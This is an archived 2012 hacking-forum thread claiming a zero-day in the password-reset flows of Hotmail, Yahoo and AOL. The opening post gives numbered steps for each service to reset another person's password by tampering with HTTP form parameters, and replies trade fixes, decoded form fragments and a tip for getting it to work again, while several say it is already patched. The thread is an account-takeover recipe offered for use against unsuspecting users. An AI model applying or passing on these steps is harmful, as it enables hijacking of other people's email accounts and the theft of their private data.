+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Critical 0-Day in Hotmail, AOL and Yahoo allows changing passwords (/showthread.php?tid=2447398)
Critical 0-Day in Hotmail, AOL and Yahoo allows changing passwords - pepon - Apr 29, 2012
FUCK INTERNET INFORMATION
Yesterday, we reported a serious 0-day vulnerability in Hotmail, allowing users to change the password legitimate mail without any Logeo, password or secret answer questions, only needed the famous Tamper Data add-on and change parameters in the HTTP requests in real time. This allowed many "hackers" (legitimate users) resetearan many accounts passwords of legitimate users. Once the password was "restored", you could access the account simply to leave the new password and no access to the real user account.
As if not enough, today reported another unknown hacker other similar vulnerabilities in Hotmail, Yahoo and AOL. Also made use of Tamper Data to change parameters in HTTP requests and reset the password successfully.
This is one of the most critical vulnerability that affected these 3 companies (Hotmail, AOL and Yahoo) and in passing leaves millions of users affected.
A Microsoft spokesman confirmed the existence of the security flaw and also the score, but gave no details, just said their users "are protected."
Tamper Data
Demonstrations of the three 0-Day:
HOTMAIL:
1. Go to https://maccount.live.com/ac/resetpwdmain.aspx
2. Enter the email you want to change password and the CAPTCHA.
3. Start Tamper Data
4. Remove parameter "SendEmail_ContinueCmd"
5. Change parameter "__V_previousForm" a "ResetOptionForm"
6. Change parameter "__viewstate" to "%% 2BEPFW% 2FwEXAQUDX19QDwUPTmV3UGFzc3dvcmRGb3JtZMw 2Fak6gMIVsxSlDMZxkMkI"
7. Click OK and enter the new password.
8. Start TamperDaTa and add the parameter "__V_SecretAnswerProof" here adds a variable that is not specified: (
YAHOO:
1.Go to https://edit.yahoo.com/forgot
2. Enter the destination email and CAPTCHA.
3.Start Tamper Data.
4. Change parameter "Stage" to "fe200".
5.Click OK and type the new password.
6. Start Tamper Data on the parameter z.
7. Done
AOL:
1. Go to Reset Password page.
2. Enter the destination email and CAPTCHA.
3. Start Tamper Data.
4. Change parameter "action" to "pwdReset".
5. Change parameter "isSiteStateEncoded" to "false".
6. Click OK and enter the new password.
7. Start Tamper Data In rndNO parameter.
8. Done.
🤝
* - OldFag - Apr 29, 2012
This is about to be leeched like crazy, thanks for the info though.
* - Mewtwо - Apr 29, 2012
This was the thing that got patched I think. Anyway, delete this !
* - Moralitas - Apr 29, 2012
(Apr 29, 2012 09:44 AM)Neymar Jr. Wrote: This was the thing that got patched I think. Anyway, delete this !Actually it's still vulnerable.. They replaced the ansproof on the error page with __et somethinish.. You just need to set that to true and it'll work.
People are doing this by getting their unique ansproof, which will only change the password of the account you get the ansproof from.
As for Yahoo, that's been there for the longest time. I'm surprised they haven't fixed it yet[Didn't try it recently]..
All of these were posted on arab hacking sites a few weeks back while as the yahoo one was posted last month.
Quote:This is about to be leeched like crazy, thanks for the info though.
It's been leaked long time ago, THN picked up and it's just getting more viewers.
* - Chief - Apr 29, 2012
AIM isn't working:
* - A + - Apr 29, 2012
On Yahoo
6. Start Tamper Data on the parameter z.
^^ That might be what Im doing wrong. I dont know what the guy is posting in the video, because I dont speak that language.
I do everything like he does and everything, I just dont know what he types.
Quote:Actually it's still vulnerable.. They replaced the ansproof on the error page with __et somethinish.. You just need to set that to true and it'll work.
People are doing this by getting their unique ansproof, which will only change the password of the account you get the ansproof from.
Assuming that is hotmail?
* - Krimbo - Apr 29, 2012
Windows Live
Sorry, we are experiencing a problem with our system. Please try again later.
Damnit!
:P
EDIT: According to the video, you need to decode the base-64 strings in the description?
I did the first one which equaled - <form id="ResetPWDSuccessForm" name="ResetPWDSuccessForm" method="post" action="resetpwdrst.aspx?rprst=1&username=lol-tbt%40hotmail.com&__ufps=553265#InitPos">
<input type="hidden" name="__ET" value="">
I don't know what to do with it though, maybe this will help someone?
2nd Edit: Here's the other base-64 decoded: <form id="GenericErrorPage" name="GenericErrorPage" method="post" action="merror.aspx?ec=InvalidProof+-+System.NullReferenceException&dm=A03-4%2f28%2f2012+11%3a35%3a17+PM&ru=https%3a%2f%2fmaccount.live.com%2fac%2fresetpwdmain.aspx%3f__ufps%3d841310&__ufps=354557#InitPos">
<input type="hidden" name="__ET" value="">
Krimbo-
* - Hate Sleeping Alone - Apr 29, 2012
i don't know why but captca thing is not working for me / and never worked before on https://maccount.live.com/ac/resetpwdmain.aspx
* - YovielMarrero - Apr 29, 2012
This isn't working for me either and Hate Sleeping Alone for hotmail I can't get past that point -_-
* - Hate Sleeping Alone - Apr 29, 2012
(Apr 29, 2012 10:27 AM)Lelоuch Wrote: This isn't working for me either and Hate Sleeping Alone for hotmail I can't get past that point -_-
I knew this exploit beforee, it was posted on other forum but i was never able to fucking bypass that captca thing.
it works fine on "hotmail" but no in maccount.live.com
..
* - Krimbo - Apr 29, 2012
It just says session times out for me in hotmail, no idea what the Hotmail video owner means about what to do with the base 64 I decoded.. I'm really confused. The AOL one doesn't work either.
Krimbo-
* - ironlucario - Apr 29, 2012
Yea like ive been using tamper data for 2 years on multiple online games. i facepalmed when i noticed people were doing it on hotmail.
But is there any currently working hotmail one?
* - Gnx - Apr 29, 2012
this is old and patched allready :F over 1 month old it was private earlier -.-
* - Krimbo - Apr 29, 2012
Doesn't work on Hotmail, Yahoo or AOL anymore as far as I can tell :/
Krimbo-
* - 'Cody - Apr 29, 2012
This was probably one of the private exploits, both seem to be fixed now though. Sucks.